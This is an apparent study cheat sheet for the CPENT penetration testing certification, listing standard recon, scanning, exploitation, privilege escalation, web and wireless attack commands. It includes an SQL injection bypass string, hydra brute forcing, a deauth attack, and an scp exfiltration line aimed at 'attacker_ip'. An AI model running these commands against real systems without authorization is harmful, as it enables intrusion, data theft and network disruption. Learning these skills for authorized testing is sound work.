The CPENT Cheat Sheet is designed as a practical, real-world reference guide for penetration testers and students preparing for the Certified Penetration Testing Professional (CPENT) certification. Unlike theoretical certifications, CPENT focuses heavily on hands-on skills, requiring you to demonstrate real attack techniques in controlled lab environments.

This guide goes beyond basic commands—it explains why and when to use each technique, helping you build a strong mindset for real-world penetration testing.

What is CPENT?

The Certified Penetration Testing Professional (CPENT) is an advanced cybersecurity certification that tests your ability to perform penetration testing in real-world environments.

🔍 Key Features:

• Fully hands-on practical exam
• Real-world network environments
• Focus on enterprise-level attacks
• Covers advanced topics like pivoting, double pivoting, and lateral movement

🎯 Why CPENT Matters:

Most certifications test theoretical knowledge, but CPENT ensures you can:

• Exploit real vulnerabilities
• Move inside networks undetected
• Escalate privileges effectively
• Maintain persistence

Penetration Testing Methodology

A structured methodology ensures that no critical step is missed during an engagement.

🔹 1. Reconnaissance (Information Gathering)

This is the first and most important phase. You collect data about the target without interacting much with it.

Types:

• Passive (Google, WHOIS, public data)
• Active (direct interaction with the system)

👉 Why it matters: Better recon = easier exploitation.

🔹 2. Scanning

You identify open ports, services, and vulnerabilities.

👉 Helps answer:

• What services are running?
• Which ports are open?
• Are there outdated versions?

🔹 3. Enumeration

You extract detailed information like:

• Usernames
• Shares
• System info

👉 This phase often gives direct entry points.

🔹 4. Exploitation

You use vulnerabilities to gain access.

👉 Example:

• Weak passwords
• Misconfigured services
• Known exploits

🔹 5. Privilege Escalation

After gaining access, you try to become:

• Root (Linux)
• Administrator (Windows)

👉 This is critical for full system control.

🔹 6. Post Exploitation

You maintain access and gather sensitive data.

🔹 7. Reporting

Document findings with:

• Proof of concept
• Risk level
• Fix recommendations

Information Gathering Cheat Sheet

🔍 Domain Information

whois target.com

👉 Provides:

• Domain owner details
• Registration info
• Contact data

🔍 DNS Enumeration

nslookup target.com
dig target.com

👉 Helps identify:

• IP addresses
• Mail servers
• DNS records

🔍 Subdomain Enumeration

sublist3r -d target.com
amass enum -d target.com

👉 Why important:
Subdomains often expose:

• Admin panels
• Dev environments
• Forgotten servers

🔍 Directory Bruteforcing

gobuster dir -u http://target.com -w wordlist.txt

👉 Finds hidden:

• Login pages
• Backup files
• API endpoints

Scanning & Enumeration

🔎 Nmap Deep Scan

nmap -sC -sV target.com

👉 What it does:

• Detects services
• Identifies versions
• Runs default scripts

🔎 Full Port Scan

nmap -p- target.com

👉 Why:
Many services run on non-standard ports.

🔎 Aggressive Scan

nmap -A target.com

👉 Includes:

• OS detection
• Script scanning
• Traceroute

🔎 SMB Enumeration

enum4linux target.com

👉 Extracts:

• Users
• Shares
• Password policies

Exploitation Techniques

💥 Metasploit Framework

msfconsole
search exploit
use exploit_name
set payload
run

👉 Why use Metasploit:

• Automated exploitation
• Large exploit database
• Easy payload handling

💥 Brute Force Attacks

hydra -l admin -P passwords.txt target.com ssh

👉 Used when:

• Weak passwords exist
• No account lockout

💥 Password Cracking

john hash.txt

👉 Converts hashes into plaintext passwords.

Privilege Escalation

🔐 Linux Techniques

sudo -l

👉 Shows commands you can run as root.

find / -perm -4000 2>/dev/null

👉 Finds SUID binaries that can be exploited.

🔐 Automated Tools

linpeas.sh

👉 Checks:

• Misconfigurations
• Weak permissions
• Vulnerabilities

🔐 Windows Privilege Escalation

whoami /priv

👉 Shows privileges of the current user.

winpeas.exe

👉 Automated vulnerability scanner.

Web Application Testing

🌐 SQL Injection

' OR 1=1--

👉 Bypasses authentication by manipulating queries.

🌐 Cross-Site Scripting (XSS)

👉 Injects malicious scripts into web pages.

🌐 SQLMap Automation

sqlmap -u "http://target.com?id=1" --dbs

👉 Automates:

• Database detection
• Data extraction

🌐 Tools

• Burp Suite → Intercept and modify requests
• OWASP ZAP → Automated vulnerability scanning

Post Exploitation

🔄 Persistence

crontab -e

👉 Keeps access even after reboot.

🔄 Data Exfiltration

scp file user@attacker_ip:/path

👉 Transfers sensitive files.

🔄 Lateral Movement

👉 Move from one system to another inside the network.

Wireless & Network Attacks

📶 Monitor Mode

airmon-ng start wlan0

📶 Capture Packets

airodump-ng wlan0

📶 Deauthentication Attack

aireplay-ng --deauth 10 -a target wlan0

👉 Forces devices to disconnect and reconnect.
